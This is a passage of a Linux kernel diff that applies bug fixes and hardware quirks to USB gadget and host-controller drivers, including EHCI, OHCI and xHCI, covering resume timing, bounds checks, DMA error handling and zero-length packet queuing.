@@ -757,6 +757,7 @@ static void purge_configs_funcs(struct gadget_info *gi) } } c->next_interface_id = 0; + memset(c->interface, 0, sizeof(c->interface)); c->superspeed = 0; c->highspeed = 0; c->fullspeed = 0; diff --git a/drivers/usb/gadget/f_acm.c b/drivers/usb/gadget/f_acm.c index 2ca35e5219f0f..5024683df8a90 100644 --- a/drivers/usb/gadget/f_acm.c +++ b/drivers/usb/gadget/f_acm.c @@ -533,11 +533,12 @@ static int acm_set_alt(struct usb_function *f, unsigned intf, unsigned alt) if (acm->notify->driver_data) { VDBG(cdev, "reset acm control interface %d\n", intf); usb_ep_disable(acm->notify); - } else { - VDBG(cdev, "init acm ctrl interface %d\n", intf); + } + + if (!acm->notify->desc) if (config_ep_by_speed(cdev->gadget, f, acm->notify)) return -EINVAL; - } + usb_ep_enable(acm->notify); acm->notify->driver_data = acm; diff --git a/drivers/usb/gadget/printer.c b/drivers/usb/gadget/printer.c index bf7a56b6d48ac..a0dfdbddbf085 100644 --- a/drivers/usb/gadget/printer.c +++ b/drivers/usb/gadget/printer.c @@ -975,6 +975,15 @@ static int printer_func_setup(struct usb_function *f, break; } /* host either stalls (value < 0) or reports success */ + if (value >= 0) { + req->length = value; + req->zero = value < wLength; + value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC); + if (value < 0) { + ERROR(dev, "%s:%d Error!\n", __func__, __LINE__); + req->status = 0; + } + } return value; } diff --git a/drivers/usb/gadget/udc-core.c b/drivers/usb/gadget/udc-core.c index 14f0266dc14cc..a82a3ff35adb6 100644 --- a/drivers/usb/gadget/udc-core.c +++ b/drivers/usb/gadget/udc-core.c @@ -488,6 +488,11 @@ static ssize_t usb_udc_softconn_store(struct device *dev, { struct usb_udc *udc = container_of(dev, struct usb_udc, dev); + if (!udc->driver) { + dev_err(dev, "soft-connect without a gadget driver\n"); + return -EOPNOTSUPP; + } + if (sysfs_streq(buf, "connect")) { usb_gadget_udc_start(udc->gadget, udc->driver); usb_gadget_connect(udc->gadget); diff --git a/drivers/usb/host/ehci-hcd.c b/drivers/usb/host/ehci-hcd.c index bca828977f7a4..8db0e169543b7 100644 --- a/drivers/usb/host/ehci-hcd.c +++ b/drivers/usb/host/ehci-hcd.c @@ -984,8 +984,6 @@ ehci_endpoint_disable (struct usb_hcd *hcd, struct usb_host_endpoint *ep) } qh->exception = 1; - if (ehci->rh_state < EHCI_RH_RUNNING) - qh->qh_state = QH_STATE_IDLE; switch (qh->qh_state) { case QH_STATE_LINKED: case QH_STATE_COMPLETING: diff --git a/drivers/usb/host/ehci-pci.c b/drivers/usb/host/ehci-pci.c index 8fe401c7d152f..fe131565d0900 100644 --- a/drivers/usb/host/ehci-pci.c +++ b/drivers/usb/host/ehci-pci.c @@ -35,6 +35,21 @@ static const char hcd_name[] = "ehci-pci"; #define PCI_DEVICE_ID_INTEL_CE4100_USB 0x2e70 /*-------------------------------------------------------------------------*/ +#define PCI_DEVICE_ID_INTEL_QUARK_X1000_SOC 0x0939 +static inline bool is_intel_quark_x1000(struct pci_dev *pdev) +{ + return pdev->vendor == PCI_VENDOR_ID_INTEL && + pdev->device == PCI_DEVICE_ID_INTEL_QUARK_X1000_SOC; +} + +/* + * 0x84 is the offset of in/out threshold register, + * and it is the same offset as the register of 'hostpc'. + */ +#define intel_quark_x1000_insnreg01 hostpc + +/* Maximum usable threshold value is 0x7f dwords for both IN and OUT */ +#define INTEL_QUARK_X1000_EHCI_MAX_THRESHOLD 0x007f007f /* called after powerup, by probe or system-pm "wakeup" */ static int ehci_pci_reinit(struct ehci_hcd *ehci, struct pci_dev *pdev) @@ -50,6 +65,16 @@ static int ehci_pci_reinit(struct ehci_hcd *ehci, struct pci_dev *pdev) if (!retval) ehci_dbg(ehci, "MWI active\n"); + /* Reset the threshold limit */ + if (is_intel_quark_x1000(pdev)) { + /* + * For the Intel QUARK X1000, raise the I/O threshold to the + * maximum usable value in order to improve performance. + */ + ehci_writel(ehci, INTEL_QUARK_X1000_EHCI_MAX_THRESHOLD, + ehci->regs->intel_quark_x1000_insnreg01); + } + return 0; } diff --git a/drivers/usb/host/ehci-sysfs.c b/drivers/usb/host/ehci-sysfs.c index 14ced00ba220a..0659024290af4 100644 --- a/drivers/usb/host/ehci-sysfs.c +++ b/drivers/usb/host/ehci-sysfs.c @@ -29,7 +29,7 @@ static ssize_t show_companion(struct device *dev, int count = PAGE_SIZE; char *ptr = buf; - ehci = hcd_to_ehci(bus_to_hcd(dev_get_drvdata(dev))); + ehci = hcd_to_ehci(dev_get_drvdata(dev)); nports = HCS_N_PORTS(ehci->hcs_params); for (index = 0; index < nports; ++index) { @@ -54,7 +54,7 @@ static ssize_t store_companion(struct device *dev, struct ehci_hcd *ehci; int portnum, new_owner; - ehci = hcd_to_ehci(bus_to_hcd(dev_get_drvdata(dev))); + ehci = hcd_to_ehci(dev_get_drvdata(dev)); new_owner = PORT_OWNER; /* Owned by companion */ if (sscanf(buf, "%d", &portnum) != 1) return -EINVAL; @@ -85,7 +85,7 @@ static ssize_t show_uframe_periodic_max(struct device *dev, struct ehci_hcd *ehci; int n; - ehci = hcd_to_ehci(bus_to_hcd(dev_get_drvdata(dev))); + ehci = hcd_to_ehci(dev_get_drvdata(dev)); n = scnprintf(buf, PAGE_SIZE, "%d\n", ehci->uframe_periodic_max); return n; } @@ -102,7 +102,7 @@ static ssize_t store_uframe_periodic_max(struct device *dev, unsigned long flags; ssize_t ret; - ehci = hcd_to_ehci(bus_to_hcd(dev_get_drvdata(dev))); + ehci = hcd_to_ehci(dev_get_drvdata(dev)); if (kstrtouint(buf, 0, &uframe_periodic_max) < 0) return -EINVAL; diff --git a/drivers/usb/host/isp116x-hcd.c b/drivers/usb/host/isp116x-hcd.c index b64e661618bb8..baf2807934c10 100644 --- a/drivers/usb/host/isp116x-hcd.c +++ b/drivers/usb/host/isp116x-hcd.c @@ -1488,7 +1488,7 @@ static int isp116x_bus_resume(struct usb_hcd *hcd) spin_unlock_irq(&isp116x->lock); hcd->state = HC_STATE_RESUMING; - msleep(20); + msleep(USB_RESUME_TIMEOUT); /* Go operational */ spin_lock_irq(&isp116x->lock); diff --git a/drivers/usb/host/ohci-q.c b/drivers/usb/host/ohci-q.c index 37dc8373200a1..1e1563da18126 100644 --- a/drivers/usb/host/ohci-q.c +++ b/drivers/usb/host/ohci-q.c @@ -314,8 +314,7 @@ static void periodic_unlink (struct ohci_hcd *ohci, struct ed *ed) * - ED_OPER: when there's any request queued, the ED gets rescheduled * immediately. HC should be working on them. * - * - ED_IDLE: when there's no TD queue. there's no reason for the HC - * to care about this ED; safe to disable the endpoint. + * - ED_IDLE: when there's no TD queue or the HC isn't running. * * When finish_unlinks() runs later, after SOF interrupt, it will often * complete one or more URB unlinks before making that state change. @@ -928,6 +927,10 @@ finish_unlinks (struct ohci_hcd *ohci, u16 tick) int completed, modified; __hc32 *prev; + /* Is this ED already invisible to the hardware? */ + if (ed->state == ED_IDLE) + goto ed_idle; + /* only take off EDs that the HC isn't using, accounting for * frame counter wraps and EDs with partially retired TDs */ @@ -957,12 +960,20 @@ finish_unlinks (struct ohci_hcd *ohci, u16 tick) } } + /* ED's now officially unlinked, hc doesn't see */ + ed->state = ED_IDLE; + if (quirk_zfmicro(ohci) && ed->type == PIPE_INTERRUPT) + ohci->eds_scheduled--; + ed->hwHeadP &= ~cpu_to_hc32(ohci, ED_H); + ed->hwNextED = 0; + wmb(); + ed->hwINFO &= ~cpu_to_hc32(ohci, ED_SKIP | ED_DEQUEUE); +ed_idle: + /* reentrancy: if we drop the schedule lock, someone might * have modified this list. normally it's just prepending * entries (which we'd ignore), but paranoia won't hurt. */ - *last = ed->ed_next; - ed->ed_next = NULL; modified = 0; /* unlink urbs as requested, but rescan the list after @@ -1020,19 +1031,20 @@ finish_unlinks (struct ohci_hcd *ohci, u16 tick) if (completed && !list_empty (&ed->td_list)) goto rescan_this; - /* ED's now officially unlinked, hc doesn't see */ - ed->state = ED_IDLE; - if (quirk_zfmicro(ohci) && ed->type == PIPE_INTERRUPT) - ohci->eds_scheduled--; - ed->hwHeadP &= ~cpu_to_hc32(ohci, ED_H); - ed->hwNextED = 0; - wmb (); - ed->hwINFO &= ~cpu_to_hc32 (ohci, ED_SKIP | ED_DEQUEUE); - - /* but if there's work queued, reschedule */ - if (!list_empty (&ed->td_list)) { - if (ohci->rh_state == OHCI_RH_RUNNING) - ed_schedule (ohci, ed); + /* + * If no TDs are queued, take ED off the ed_rm_list. + * Otherwise, if the HC is running, reschedule. + * If not, leave it on the list for further dequeues. + */ + if (list_empty(&ed->td_list)) { + *last = ed->ed_next; + ed->ed_next = NULL; + } else if (ohci->rh_state == OHCI_RH_RUNNING) { + *last = ed->ed_next; + ed->ed_next = NULL; + ed_schedule(ohci, ed); + } else { + last = &ed->ed_next; } if (modified) diff --git a/drivers/usb/host/oxu210hp-hcd.c b/drivers/usb/host/oxu210hp-hcd.c index 0f401dbfaf073..b5c4f4d81a384 100644 --- a/drivers/usb/host/oxu210hp-hcd.c +++ b/drivers/usb/host/oxu210hp-hcd.c @@ -2497,11 +2497,12 @@ static irqreturn_t oxu210_hcd_irq(struct usb_hcd *hcd) || oxu->reset_done[i] != 0) continue; - /* start 20 msec resume signaling from this port, - * and make khubd collect PORT_STAT_C_SUSPEND to + /* start USB_RESUME_TIMEOUT resume signaling from this + * port, and make hub_wq collect PORT_STAT_C_SUSPEND to * stop that signaling. */ - oxu->reset_done[i] = jiffies + msecs_to_jiffies(20); + oxu->reset_done[i] = jiffies + + msecs_to_jiffies(USB_RESUME_TIMEOUT); oxu_dbg(oxu, "port %d remote wakeup\n", i + 1); mod_timer(&hcd->rh_timer, oxu->reset_done[i]); } diff --git a/drivers/usb/host/pci-quirks.c b/drivers/usb/host/pci-quirks.c index 9cfe3af3101ac..66c9058844962 100644 --- a/drivers/usb/host/pci-quirks.c +++ b/drivers/usb/host/pci-quirks.c @@ -470,7 +470,8 @@ static void quirk_usb_handoff_ohci(struct pci_dev *pdev) { void __iomem *base; u32 control; - u32 fminterval; + u32 fminterval = 0; + bool no_fminterval = false; int cnt; if (!mmio_resource_enabled(pdev, 0)) @@ -480,6 +481,13 @@ static void quirk_usb_handoff_ohci(struct pci_dev *pdev) if (base == NULL) return; + /* + * ULi M5237 OHCI controller locks the whole system when accessing + * the OHCI_FMINTERVAL offset. + */ + if (pdev->vendor == PCI_VENDOR_ID_AL && pdev->device == 0x5237) + no_fminterval = true; + control = readl(base + OHCI_CONTROL); /* On PA-RISC, PDC can leave IR set incorrectly; ignore it there. */ @@ -518,7 +526,9 @@ static void quirk_usb_handoff_ohci(struct pci_dev *pdev) } /* software reset of the controller, preserving HcFmInterval */ - fminterval = readl(base + OHCI_FMINTERVAL); + if (!no_fminterval) + fminterval = readl(base + OHCI_FMINTERVAL); + writel(OHCI_HCR, base + OHCI_CMDSTATUS); /* reset requires max 10 us delay */ @@ -527,7 +537,9 @@ static void quirk_usb_handoff_ohci(struct pci_dev *pdev) break; udelay(1); } - writel(fminterval, base + OHCI_FMINTERVAL); + + if (!no_fminterval) + writel(fminterval, base + OHCI_FMINTERVAL); /* Now the controller is safely in SUSPEND and nothing can wake it up */ iounmap(base); diff --git a/drivers/usb/host/r8a66597-hcd.c b/drivers/usb/host/r8a66597-hcd.c index a6fd8f5371dfd..6656dfda56657 100644 --- a/drivers/usb/host/r8a66597-hcd.c +++ b/drivers/usb/host/r8a66597-hcd.c @@ -2301,7 +2301,7 @@ static int r8a66597_bus_resume(struct usb_hcd *hcd) rh->port &= ~USB_PORT_STAT_SUSPEND; rh->port |= USB_PORT_STAT_C_SUSPEND << 16; r8a66597_mdfy(r8a66597, RESUME, RESUME | UACT, dvstctr_reg); - msleep(50); + msleep(USB_RESUME_TIMEOUT); r8a66597_mdfy(r8a66597, UACT, RESUME | UACT, dvstctr_reg); } diff --git a/drivers/usb/host/sl811-hcd.c b/drivers/usb/host/sl811-hcd.c index b2ec7fe758ddc..b4cad93460354 100644 --- a/drivers/usb/host/sl811-hcd.c +++ b/drivers/usb/host/sl811-hcd.c @@ -1251,7 +1251,7 @@ sl811h_hub_control( sl811_write(sl811, SL11H_CTLREG1, sl811->ctrl1); mod_timer(&sl811->timer, jiffies - + msecs_to_jiffies(20)); + + msecs_to_jiffies(USB_RESUME_TIMEOUT)); break; case USB_PORT_FEAT_POWER: port_power(sl811, 0); diff --git a/drivers/usb/host/whci/qset.c b/drivers/usb/host/whci/qset.c index dc31c425ce017..9f1c0538b2112 100644 --- a/drivers/usb/host/whci/qset.c +++ b/drivers/usb/host/whci/qset.c @@ -377,6 +377,10 @@ static int qset_fill_page_list(struct whc *whc, struct whc_std *std, gfp_t mem_f if (std->pl_virt == NULL) return -ENOMEM; std->dma_addr = dma_map_single(whc->wusbhc.dev, std->pl_virt, pl_len, DMA_TO_DEVICE); + if (dma_mapping_error(whc->wusbhc.dev, std->dma_addr)) { + kfree(std->pl_virt); + return -EFAULT; + } for (p = 0; p < std->num_pointers; p++) { std->pl_virt[p].buf_ptr = cpu_to_le64(dma_addr); diff --git a/drivers/usb/host/xhci-hub.c b/drivers/usb/host/xhci-hub.c index c5b0cd2e2f8d9..d7790c87514d7 100644 --- a/drivers/usb/host/xhci-hub.c +++ b/drivers/usb/host/xhci-hub.c @@ -473,15 +473,19 @@ void xhci_test_and_clear_bit(struct xhci_hcd *xhci, __le32 __iomem **port_array, } /* Updates Link Status for super Speed port */ -static void xhci_hub_report_link_state(u32 *status, u32 status_reg) +static void xhci_hub_report_link_state(struct xhci_hcd *xhci, + u32 *status, u32 status_reg) { u32 pls = status_reg & PORT_PLS_MASK; /* resume state is a xHCI internal state. - * Do not report it to usb core. + * Do not report it to usb core, instead, pretend to be U3, + * thus usb core knows it's not ready for transfer */ - if (pls == XDEV_RESUME) + if (pls == XDEV_RESUME) { + *status |= USB_SS_PORT_LS_U3; return; + } /* When the CAS bit is set then warm reset * should be performed on port @@ -512,7 +516,8 @@ static void xhci_hub_report_link_state(u32 *status, u32 status_reg) * in which sometimes the port enters compliance mode * caused by a delay on the host-device negotiation. */ - if (pls == USB_SS_PORT_LS_COMP_MOD) + if ((xhci->quirks & XHCI_COMP_MODE_QUIRK) && + (pls == USB_SS_PORT_LS_COMP_MOD)) pls |= USB_PORT_STAT_CONNECTION; } @@ -842,7 +847,7 @@ int xhci_hub_control(struct usb_hcd *hcd, u16 typeReq, u16 wValue, } /* Update Port Link State for super speed ports*/ if (hcd->speed == HCD_USB3) { - xhci_hub_report_link_state(&status, temp); + xhci_hub_report_link_state(xhci, &status, temp); /* * Verify if all USB3 Ports Have entered U0 already. * Delete Compliance Mode Timer if so. @@ -1236,10 +1241,10 @@ int xhci_bus_suspend(struct usb_hcd *hcd) spin_lock_irqsave(&xhci->lock, flags); if (hcd->self.root_hub->do_remote_wakeup) { - if (bus_state->resuming_ports) { + if (bus_state->resuming_ports || /* USB2 */ + bus_state->port_remote_wakeup) { /* USB3 */ spin_unlock_irqrestore(&xhci->lock, flags); - xhci_dbg(xhci, "suspend failed because " - "a port is resuming\n"); + xhci_dbg(xhci, "suspend failed because a port is resuming\n"); return -EBUSY; } } diff --git a/drivers/usb/host/xhci-mem.c b/drivers/usb/host/xhci-mem.c index 07ce24cb702a7..7bb78ff42b5c8 100644 --- a/drivers/usb/host/xhci-mem.c +++ b/drivers/usb/host/xhci-mem.c @@ -1418,10 +1418,10 @@ int xhci_endpoint_init(struct xhci_hcd *xhci, /* Attempt to use the ring cache */ if (virt_dev->num_rings_cached == 0) return -ENOMEM; + virt_dev->num_rings_cached--; virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; - virt_dev->num_rings_cached--; xhci_reinit_cached_ring(xhci, virt_dev->eps[ep_index].new_ring, 1, type); } @@ -1491,10 +1491,10 @@ int xhci_endpoint_init(struct xhci_hcd *xhci, * use Event Data TRBs, and we don't chain in a link TRB on short * transfers, we're basically dividing by 1. * - * xHCI 1.0 specification indicates that the Average TRB Length should - * be set to 8 for control endpoints. + * xHCI 1.0 and 1.1 specification indicates that the Average TRB Length + * should be set to 8 for control endpoints. */ - if (usb_endpoint_xfer_control(&ep->desc) && xhci->hci_version == 0x100) + if (usb_endpoint_xfer_control(&ep->desc) && xhci->hci_version >= 0x100) ep_ctx->tx_info |= cpu_to_le32(AVG_TRB_LENGTH_FOR_EP(8)); else ep_ctx->tx_info |= @@ -1813,7 +1813,7 @@ void xhci_mem_cleanup(struct xhci_hcd *xhci) } num_ports = HCS_MAX_PORTS(xhci->hcs_params1); - for (i = 0; i < num_ports; i++) { + for (i = 0; i < num_ports && xhci->rh_bw; i++) { struct xhci_interval_bw_table *bwt = &xhci->rh_bw[i].bw_table; for (j = 0; j < XHCI_MAX_INTERVAL; j++) { struct list_head *ep = &bwt->interval_bw[j].endpoints; @@ -1879,6 +1879,11 @@ void xhci_mem_cleanup(struct xhci_hcd *xhci) kfree(xhci->port_array); kfree(xhci->rh_bw); + xhci->usb2_ports = NULL; + xhci->usb3_ports = NULL; + xhci->port_array = NULL; + xhci->rh_bw = NULL; + xhci->page_size = 0; xhci->page_shift = 0; xhci->bus_state[0].bus_suspended = 0; diff --git a/drivers/usb/host/xhci-pci.c b/drivers/usb/host/xhci-pci.c index a736d82695cb6..2320e20d5be74 100644 --- a/drivers/usb/host/xhci-pci.c +++ b/drivers/usb/host/xhci-pci.c @@ -87,9 +87,14 @@ static void xhci_pci_quirks(struct device *dev, struct xhci_hcd *xhci) /* AMD PLL quirk */ if (pdev->vendor == PCI_VENDOR_ID_AMD && usb_amd_find_chipset_info()) xhci->quirks |= XHCI_AMD_PLL_FIX; + + if (pdev->vendor == PCI_VENDOR_ID_AMD) + xhci->quirks |= XHCI_TRUST_TX_LENGTH; + if (pdev->vendor == PCI_VENDOR_ID_INTEL) { xhci->quirks |= XHCI_LPM_SUPPORT; xhci->quirks |= XHCI_INTEL_HOST; + xhci->quirks |= XHCI_AVOID_BEI; } if (pdev->vendor == PCI_VENDOR_ID_INTEL && pdev->device == PCI_DEVICE_ID_INTEL_PANTHERPOINT_XHCI) { @@ -105,7 +110,6 @@ static void xhci_pci_quirks(struct device *dev, struct xhci_hcd *xhci) * PPT chipsets. */ xhci->quirks |= XHCI_SPURIOUS_REBOOT; - xhci->quirks |= XHCI_AVOID_BEI; } if (pdev->vendor == PCI_VENDOR_ID_ETRON && pdev->device == PCI_DEVICE_ID_ASROCK_P67) { diff --git a/drivers/usb/host/xhci-ring.c b/drivers/usb/host/xhci-ring.c index b16043fa63186..afdb17c421ab6 100644 --- a/drivers/usb/host/xhci-ring.c +++ b/drivers/usb/host/xhci-ring.c @@ -85,7 +85,7 @@ dma_addr_t xhci_trb_virt_to_dma(struct xhci_segment *seg, return 0; /* offset in TRBs */ segment_offset = trb - seg->trbs; - if (segment_offset > TRBS_PER_SEGMENT) + if (segment_offset >= TRBS_PER_SEGMENT) return 0; return seg->dma + (segment_offset * sizeof(*trb)); } @@ -1213,9 +1213,8 @@ static void handle_reset_ep_completion(struct xhci_hcd *xhci, false); xhci_ring_cmd_db(xhci); } else { - /* Clear our internal halted state and restart the ring(s) */ + /* Clear our internal halted state */ xhci->devs[slot_id]->eps[ep_index].ep_state &= ~EP_HALTED; - ring_doorbell_for_active_rings(xhci, slot_id, ep_index); } } @@ -1686,6 +1685,9 @@ static void handle_port_status(struct xhci_hcd *xhci, usb_hcd_resume_root_hub(hcd); } + if (hcd->speed == HCD_USB3 && (temp & PORT_PLS_MASK) == XDEV_INACTIVE) + bus_state->port_remote_wakeup &= ~(1 << faked_port_index); + if ((temp & PORT_PLC) && (temp & PORT_PLS_MASK) == XDEV_RESUME) { xhci_dbg(xhci, "port resume event for port %d\n", port_id); @@ -1714,7 +1716,7 @@ static void handle_port_status(struct xhci_hcd *xhci, } else { xhci_dbg(xhci, "resume HS port %d\n", port_id); bus_state->resume_done[faked_port_index] = jiffies + - msecs_to_jiffies(20); + msecs_to_jiffies(USB_RESUME_TIMEOUT); set_bit(faked_port_index, &bus_state->resuming_ports); mod_timer(&hcd->rh_timer, bus_state->resume_done[faked_port_index]); @@ -2081,7 +2083,7 @@ static int process_ctrl_td(struct xhci_hcd *xhci, struct xhci_td *td, if (event_trb != ep_ring->dequeue) { /* The event was for the status stage */ if (event_trb == td->last_trb) { - if (td->urb->actual_length != 0) { + if (td->urb_length_set) { /* Don't overwrite a previously set error code */ if ((*status == -EINPROGRESS || *status == 0) && @@ -2097,7 +2099,13 @@ static int process_ctrl_td(struct xhci_hcd *xhci, struct xhci_td *td, td->urb->transfer_buffer_length; } } else { - /* Maybe the event was for the data stage? */ + /* + * Maybe the event was for the data stage? If so, update + * already the actual_length of the URB and flag it as + * set, so that it is not overwritten in the event for + * the last TRB. + */ + td->urb_length_set = true; td->urb->actual_length = td->urb->transfer_buffer_length - EVENT_TRB_LEN(le32_to_cpu(event->transfer_len)); @@ -2161,8 +2169,13 @@ static int process_isoc_td(struct xhci_hcd *xhci, struct xhci_td *td, break; case COMP_DEV_ERR: case COMP_STALL: + frame->status = -EPROTO; + skip_td = true; + break; case COMP_TX_ERR: frame->status = -EPROTO; + if (event_trb != td->last_trb) + return 0; skip_td = true; break; case COMP_STOP: @@ -2357,6 +2370,7 @@ static int handle_tx_event(struct xhci_hcd *xhci, u32 trb_comp_code; int ret = 0; int td_num = 0; + bool handling_skipped_tds = false; slot_id = TRB_TO_SLOT_ID(le32_to_cpu(event->flags)); xdev = xhci->devs[slot_id]; @@ -2490,6 +2504,10 @@ static int handle_tx_event(struct xhci_hcd *xhci, ep->skip = true; xhci_dbg(xhci, "Miss service interval error, set skip flag\n"); goto cleanup; + case COMP_PING_ERR: + ep->skip = true; + xhci_dbg(xhci, "No Ping response error, Skip one Isoc TD\n"); + goto cleanup; default: if (xhci_is_vendor_info_code(xhci, trb_comp_code)) { status = 0; @@ -2554,7 +2572,8 @@ static int handle_tx_event(struct xhci_hcd *xhci, * last TRB of the previous TD. The command completion handle * will take care the rest. */ - if (!event_seg && trb_comp_code == COMP_STOP_INVAL) { + if (!event_seg && (trb_comp_code == COMP_STOP || + trb_comp_code == COMP_STOP_INVAL)) { ret = 0; goto cleanup; } @@ -2620,13 +2639,18 @@ static int handle_tx_event(struct xhci_hcd *xhci, ep, &status); cleanup: + + + handling_skipped_tds = ep->skip && + trb_comp_code != COMP_MISSED_INT && + trb_comp_code != COMP_PING_ERR; + /* - * Do not update event ring dequeue pointer if ep->skip is set. - * Will roll back to continue process missed tds. + * Do not update event ring dequeue pointer if we're in a loop + * processing missed tds. */ - if (trb_comp_code == COMP_MISSED_INT || !ep->skip) { + if (!handling_skipped_tds) inc_deq(xhci, xhci->event_ring); - } if (ret) { urb = td->urb; @@ -2670,7 +2694,7 @@ static int handle_tx_event(struct xhci_hcd *xhci, * Process them as short transfer until reach the td pointed by * the event. */ - } while (ep->skip && trb_comp_code != COMP_MISSED_INT); + } while (handling_skipped_tds); return 0; } @@ -2778,7 +2802,7 @@ irqreturn_t xhci_irq(struct usb_hcd *hcd) xhci_halt(xhci); hw_died: spin_unlock(&xhci->lock); - return -ESHUTDOWN; + return IRQ_HANDLED; } /* @@ -3175,9 +3199,11 @@ static int queue_bulk_sg_tx(struct xhci_hcd *xhci, gfp_t mem_flags, struct xhci_td *td; struct scatterlist *sg; int num_sgs; - int trb_buff_len, this_sg_len, running_total; + int trb_buff_len, this_sg_len, running_total, ret; unsigned int total_packet_count; + bool zero_length_needed; bool first_trb; + int last_trb_num; u64 addr; bool more_trbs_coming; @@ -3193,13 +3219,27 @@ static int queue_bulk_sg_tx(struct xhci_hcd *xhci, gfp_t mem_flags, total_packet_count = DIV_ROUND_UP(urb->transfer_buffer_length, usb_endpoint_maxp(&urb->ep->desc)); - trb_buff_len = prepare_transfer(xhci, xhci->devs[slot_id], + ret = prepare_transfer(xhci, xhci->devs[slot_id], ep_index, urb->stream_id, num_trbs, urb, 0, mem_flags); - if (trb_buff_len < 0) - return trb_buff_len; + if (ret < 0) + return ret; urb_priv = urb->hcpriv; + + /* Deal with URB_ZERO_PACKET - need one more td/trb */ + zero_length_needed = urb->transfer_flags & URB_ZERO_PACKET && + urb_priv->length == 2; + if (zero_length_needed) { + num_trbs++; + xhci_dbg(xhci, "Creating zero length td.\n"); + ret = prepare_transfer(xhci, xhci->devs[slot_id], + ep_index, urb->stream_id, + 1, urb, 1, mem_flags); + if (ret < 0) + return ret; + } + td = urb_priv->td[0]; /* @@ -3229,6 +3269,7 @@ static int queue_bulk_sg_tx(struct xhci_hcd *xhci, gfp_t mem_flags, trb_buff_len = urb->transfer_buffer_length; first_trb = true; + last_trb_num = zero_length_needed ? 2 : 1; /* Queue the first TRB, even if it's zero-length */ do { u32 field = 0; @@ -3246,12 +3287,15 @@ static int queue_bulk_sg_tx(struct xhci_hcd *xhci, gfp_t mem_flags, /* Chain all the TRBs together; clear the chain bit in the last * TRB to indicate it's the last TRB in the chain. */ - if (num_trbs > 1) { + if (num_trbs > last_trb_num) { field |= TRB_CHAIN; - } else { - /* FIXME - add check for ZERO_PACKET flag before this */ + } else if (num_trbs == last_trb_num) { td->last_trb = ep_ring->enqueue; field |= TRB_IOC; + } else if (zero_length_needed && num_trbs == 1) { + trb_buff_len = 0; + urb_priv->td[1]->last_trb = ep_ring->enqueue; + field |= TRB_IOC; } /* Only set interrupt on short packet for IN endpoints */ @@ -3313,7 +3357,7 @@ static int queue_bulk_sg_tx(struct xhci_hcd *xhci, gfp_t mem_flags, if (running_total + trb_buff_len > urb->transfer_buffer_length) trb_buff_len = urb->transfer_buffer_length - running_total; - } while (running_total < urb->transfer_buffer_length); + } while (num_trbs > 0); check_trb_math(urb, num_trbs, running_total); giveback_first_trb(xhci, slot_id, ep_index, urb->stream_id, @@ -3331,12 +3375,11 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, int num_trbs; struct xhci_generic_trb *start_trb; bool first_trb; + int last_trb_num; bool more_trbs_coming; + bool zero_length_needed; int start_cycle; u32 field, length_field; - int zlp_required = 0; - int max_packet = 0; - bool last = false; int running_total, trb_buff_len, ret; unsigned int total_packet_count; @@ -3366,20 +3409,27 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, running_total += TRB_MAX_BUFF_SIZE; } - max_packet = usb_endpoint_maxp(&urb->ep->desc); - if (!usb_urb_dir_in(urb) && urb->transfer_buffer_length && - (urb->transfer_flags & URB_ZERO_PACKET) && - !(urb->transfer_buffer_length % max_packet)) { - zlp_required = 1; - } - ret = prepare_transfer(xhci, xhci->devs[slot_id], ep_index, urb->stream_id, - num_trbs + zlp_required, urb, 0, mem_flags); + num_trbs, urb, 0, mem_flags); if (ret < 0) return ret; urb_priv = urb->hcpriv; + + /* Deal with URB_ZERO_PACKET - need one more td/trb */ + zero_length_needed = urb->transfer_flags & URB_ZERO_PACKET && + urb_priv->length == 2; + if (zero_length_needed) { + num_trbs++; + xhci_dbg(xhci, "Creating zero length td.\n"); + ret = prepare_transfer(xhci, xhci->devs[slot_id], + ep_index, urb->stream_id, + 1, urb, 1, mem_flags); + if (ret < 0) + return ret; + } + td = urb_priv->td[0]; /* @@ -3401,7 +3451,7 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, trb_buff_len = urb->transfer_buffer_length; first_trb = true; - + last_trb_num = zero_length_needed ? 2 : 1; /* Queue the first TRB, even if it's zero-length */ do { u32 remainder = 0; @@ -3415,6 +3465,20 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, } else field |= ep_ring->cycle_state; + /* Chain all the TRBs together; clear the chain bit in the last + * TRB to indicate it's the last TRB in the chain. + */ + if (num_trbs > last_trb_num) { + field |= TRB_CHAIN; + } else if (num_trbs == last_trb_num) { + td->last_trb = ep_ring->enqueue; + field |= TRB_IOC; + } else if (zero_length_needed && num_trbs == 1) { + trb_buff_len = 0; + urb_priv->td[1]->last_trb = ep_ring->enqueue; + field |= TRB_IOC; + } + /* Only set interrupt on short packet for IN endpoints */ if (usb_urb_dir_in(urb)) field |= TRB_ISP; @@ -3433,36 +3497,15 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, remainder | TRB_INTR_TARGET(0); - more_trbs_coming = true; - field |= TRB_CHAIN; - if (num_trbs <= 1) { - last = true; - if (!zlp_required) { - more_trbs_coming = false; - td->last_trb = ep_ring->enqueue; - field &= ~TRB_CHAIN; - field |= TRB_IOC; - } - } - + if (num_trbs > 1) + more_trbs_coming = true; + else + more_trbs_coming = false; queue_trb(xhci, ep_ring, more_trbs_coming, lower_32_bits(addr), upper_32_bits(addr), length_field, field | TRB_TYPE(TRB_NORMAL)); - - if (last && zlp_required) { - td->last_trb = ep_ring->enqueue; - field |= TRB_IOC; - field &= ~TRB_CHAIN; - field &= ~TRB_CYCLE; - field |= ep_ring->cycle_state; - - queue_trb(xhci, ep_ring, false, - 0, 0, TRB_INTR_TARGET(0), - field | TRB_TYPE(TRB_NORMAL)); - } - --num_trbs; running_total += trb_buff_len; @@ -3471,7 +3514,7 @@ int xhci_queue_bulk_tx(struct xhci_hcd *xhci, gfp_t mem_flags, trb_buff_len = urb->transfer_buffer_length - running_total; if (trb_buff_len > TRB_MAX_BUFF_SIZE) trb_buff_len = TRB_MAX_BUFF_SIZE; - } while (running_total < urb->transfer_buffer_length); + } while (num_trbs > 0); check_trb_math(urb, num_trbs, running_total); giveback_first_trb(xhci, slot_id, ep_index, urb->stream_id, @@ -3538,8 +3581,8 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *xhci, gfp_t 